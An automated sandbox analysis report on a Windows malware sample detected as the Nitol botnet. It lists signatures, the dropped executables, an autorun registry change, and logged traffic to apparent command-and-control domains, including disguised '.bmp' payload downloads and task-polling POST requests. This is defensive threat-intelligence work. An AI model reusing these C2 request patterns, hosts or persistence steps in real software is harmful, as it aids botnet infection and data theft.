Edit tour

Windows Analysis Report
8CoDx513sS.exe

Overview

General Information

Sample name:	8CoDx513sS.exe renamed because original name is a hash value
Original sample name:	0c240bbd2732102296862088a459c4854bea6e8bdfac19a4a9da47b0d6f25900.exe
Analysis ID:	1511254
MD5:	ef9ca8c2e7af86d9c440d78027bbc2ae
SHA1:	3bc2144e3cc300542eab8c4b98691027611919c0
SHA256:	0c240bbd2732102296862088a459c4854bea6e8bdfac19a4a9da47b0d6f25900
Tags:	ad87h92j-comexe
Infos:

Detection

Nitol

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Nitol

AI detected suspicious sample

Checks if browser processes are running

Contains functionalty to change the wallpaper

Drops password protected ZIP file

Found API chain indicative of debugger detection

Hides threads from debuggers

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to access browser extension known for cryptocurrency wallets

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Tries to evade analysis by execution special instruction (VM detection)

AV process strings found (often used to terminate AV products)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

8CoDx513sS.exe (PID: 2544 cmdline: "C:\Users\user\Desktop\8CoDx513sS.exe" MD5: EF9CA8C2E7AF86D9C440D78027BBC2AE)

vhCQTUg.exe (PID: 6884 cmdline: "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

vhCQTUg.exe (PID: 6804 cmdline: "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

vhCQTUg.exe (PID: 3508 cmdline: "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Nitol		No Attribution	https://asec.ahnlab.com/en/44504/ https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/ https://en.wikipedia.org/wiki/Nitol_botnet https://krebsonsecurity.com/tag/nitol/	https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
Process Memory Space: vhCQTUg.exe PID: 6884	JoeSecurity_Nitol	Yara detected Nitol	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.vhCQTUg.exe.32eec24.1.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
6.2.vhCQTUg.exe.33edc24.2.raw.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
6.2.vhCQTUg.exe.32eec24.1.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x75ff8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x75fe4:$k1: EnableAdminTSRemote 0x75d74:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760a0:$k2: TSEnabled 0x76044:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x76070:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x75d11:$k3: Start 0x75d1d:$k3: Start 0x75d2b:$k3: Start 0x75d47:$k3: Start 0x7603c:$k3: Start 0x7626f:$k3: start 0x75d74:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
6.2.vhCQTUg.exe.33edc24.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x777f8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x777e4:$k1: EnableAdminTSRemote 0x77574:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778a0:$k2: TSEnabled 0x77844:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x77870:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x77511:$k3: Start 0x7751d:$k3: Start 0x7752b:$k3: Start 0x77547:$k3: Start 0x7783c:$k3: Start 0x77a6f:$k3: start 0x77574:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
6.2.vhCQTUg.exe.32eec24.1.raw.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
6.2.vhCQTUg.exe.32eec24.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x777f8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x777e4:$k1: EnableAdminTSRemote 0x77574:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778a0:$k2: TSEnabled 0x77844:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x77870:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x77511:$k3: Start 0x7751d:$k3: Start 0x7752b:$k3: Start 0x77547:$k3: Start 0x7783c:$k3: Start 0x77a6f:$k3: start 0x77574:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
6.2.vhCQTUg.exe.33edc24.2.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
6.2.vhCQTUg.exe.33edc24.2.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x75ff8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x75fe4:$k1: EnableAdminTSRemote 0x75d74:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760a0:$k2: TSEnabled 0x76044:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x76070:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x75d11:$k3: Start 0x75d1d:$k3: Start 0x75d2b:$k3: Start 0x75d47:$k3: Start 0x7603c:$k3: Start 0x7626f:$k3: start 0x75d74:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\8CoDx513sS.exe, ProcessId: 2544, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WINDOWS

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-14T18:44:08.488262+0200	2803304	3	Unknown Traffic	192.168.2.6	49721	188.114.97.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\cSNNeBKH\t4d.tmp	Avira: detection malicious, Label: DR/FakePic.Gen
Source: C:\Program Files (x86)\cSNNeBKH\t5d.tmp	Avira: detection malicious, Label: DR/FakePic.Gen

Multi AV Scanner detection for submitted file

Source: 8CoDx513sS.exe

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 8CoDx513sS.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.17.45:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49734 version: TLS 1.2

Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\Uninstall.exe.pdb source: 8CoDx513sS.exe
Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\stats_uploader.exe.pdb source: 8CoDx513sS.exe
Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\promotion_installer.exe.pdb source: 8CoDx513sS.exe
Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\promotion_installer.exe.pdbL source: 8CoDx513sS.exe
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSVCP140.dll.0.dr

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03419374 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	6_2_03419374
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034153C4 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	6_2_034153C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410134 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	6_2_03410134
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03419194 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	6_2_03419194
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034100DA lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	6_2_034100DA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034100BD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	6_2_034100BD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03411754 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	6_2_03411754
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034204C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	6_2_034204C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034114F4 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	6_2_034114F4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410AD4 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	6_2_03410AD4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03442AFC FindFirstFileExW,	6_2_03442AFC
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410E14 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	6_2_03410E14
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0340FEB3 FindFirstFileA,FindClose,FindClose,	6_2_0340FEB3
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03410CE4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	6_2_03410CE4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_100230CD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	6_2_100230CD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_10023110 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	6_2_10023110

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03414404 GetLogicalDriveStringsA,QueryDosDeviceA,lstrlen,lstrcpy,lstrcpy,lstrcat,

6_2_03414404

Source: global traffic	HTTP traffic detected: GET /4/laos.bmp HTTP/1.1Host: web.ad87h92j.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4/text.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/d.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/t.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49721 -> 188.114.97.3:80

Source: global traffic	HTTP traffic detected: POST /api.php/common/getdomain HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 18Host: caces.goldenh0ur.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/receivejson HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 474Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: 1emi366gcdnoqrkr1181begvr3Content-Length: 38Host: mvc.withoutyou5.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_00492743 curl_easy_recv,

0_2_00492743

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Sep 2024 16:44:09 GMTContent-Type: image/bmpContent-Length: 6443425Connection: keep-aliveLast-Modified: Thu, 08 Aug 2024 15:32:21 GMTETag: "607df428a8e9da1:0"Cache-Control: max-age=14400CF-Cache-Status: HITAge: 474Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HlL175vhpjI9QzJMcE6i3d4bAYfhh5OOCVjZPuAH8JAH1v4ynwJ2XeZXEeHZaLpufQXBi5nLs2FmS6wmn9iZyIpfXiwuzenENcxr4dAzMudNR9XvkgbUcA641nDvfb2gbx%2FW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8c31d70f3f0342ca-EWRalt-svc: h3=":443"; ma=86400Data Raw: 50 4b 03 04 14 00 00 00 00 00 52 09 02 59 00 00 00 00 00 00 00 00 00 00 00 00 05 00 11 00 74 65 78 74 2f 55 54 0d 00 07 f1 31 ac 66 f1 31 ac 66 f1 31 ac 66 50 4b 03 04 14 00 09 00 08 00 ae 88 37 58 00 00 00 00 00 00 00 00 78 a9 06 00 11 00 11 00 74 65 78 74 2f 4d 53 56 43 50 31 34 30 2e 64 6c 6c 55 54 0d 00 07 d3 f1 af 65 6a c1 ab 66 32 4d 82 66 87 7a eb 30 49 5c 70 71 cf 9f 0b 7f 37 1a ef fe ec 4e 99 14 e9 79 0c eb 41 b9 e8 f1 0c 4c 80 3a 7f 76 93 46 46 e8 65 7d bc 46 e7 22 b0 cc d0 5f 0c fe e5 9a c6 07 68 49 cf 67 8c de f1 91 0a 4d 5f 96 fa d9 d6 82 da 5d 83 1e 78 91 03 68 d0 5c f3 7f be 92 78 68 7f 9b 82 3d 58 0a 03 a3 ca 52 a9 20 ad ce 0c 1c 17 57 32 4f 23 2d bd 75 0e cf 2d 73 5a f1 a5 25 a2 53 54 c7 df 3d 96 7b f5 d6 b7 e4 a5 b1 33 57 3e 91 c8 b1 9f 68 0b 2f d7 28 a9 80 e2 6e 4c cc 82 c2 26 fe 2b 7e ce 5e 42 59 1b b0 3c 97 03 3a bf 54 e9 ce 6b d0 11 f6 8c a1 96 6a 71 dd 5b a0 e2 f0 6e 1c 54 d9 8d e7 7b 68 d7 cb 0f 8d a0 bc 2f 63 1e dc b5 69 41 6a 0d fd 2b c8 88 9c 7c 92 ea 7c bc 78 5c b1 3a 4c 96 53 a8 93 1a 43 8a 40 72 c9 cd 4d f3 75 0b d3 e0 d6 60 25 ae d3 66 4a 4b 5d b6 5e 17 3b 24 29 1b a7 07 28 1d 48 ce 8a 24 dd e5 0f 57 31 3b 63 bc e1 b9 39 3b 66 4c 46 9f 14 f3 c4 02 68 95 c3 21 3d 7c d0 7a 12 01 3c 08 32 de 1b 41 20 0a ef 8d 8e 3c cb 3d 54 8e 28 0e 74 2d a5 bb e4 c7 6a f7 4b 3c 19 7a 3e b3 55 75 93 98 a4 85 fc 3e 61 cb 06 22 80 2d 2c 37 b8 2a 5c b0 51 a6 6b 96 fb ee 27 23 f4 d0 04 a5 0c 50 95 84 0f 9b 47 8f 5b 48 3b 2a bb f4 f8 7d 94 68 ed 84 fa fd 02 9b 9e ae f0 7d 19 69 b4 c0 78 83 f0 ef 95 a1 21 73 56 4e d7 8b 38 9a ed e1 e8 8f 47 a6 26 5f 23 ea 1f c9 5d 4a c2 09 00 e3 5f 67 5d 15 a9 47 b3 f4 9d ca 98 2c 66 Data Ascii: PKRYtext/UT1f1f1fPK7Xxtext/MSVCP140.dllUTejf2Mfz0I\pq7NyAL:vFFe}F"_hIgM_]xh\xh=XR W2O#-u-sZ%ST={3W>h/(nL&+~^BY<:Tkjq[nT{h/ciAj+||x\:LSC@rMu`%fJK]^;$)(H$W1;c9;fLFh!=|z<2A <=T(t-jK<z>Uu>a"-,7*\Qk'#PG[H;*}h}ix!sVN8G&_#]J_g]G,f

Source: global traffic	HTTP traffic detected: GET /4/laos.bmp HTTP/1.1Host: web.ad87h92j.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4/text.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/d.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/t.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com

Source: global traffic	DNS traffic detected: DNS query: web.ad87h92j.com
Source: global traffic	DNS traffic detected: DNS query: caces.goldenh0ur.com
Source: global traffic	DNS traffic detected: DNS query: mvc.withoutyou5.com

Source: unknown

HTTP traffic detected: POST /api.php/common/getdomain HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 18Host: caces.goldenh0ur.com

Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 8CoDx513sS.exe	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: 8CoDx513sS.exe	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: 8CoDx513sS.exe	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: 8CoDx513sS.exe	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
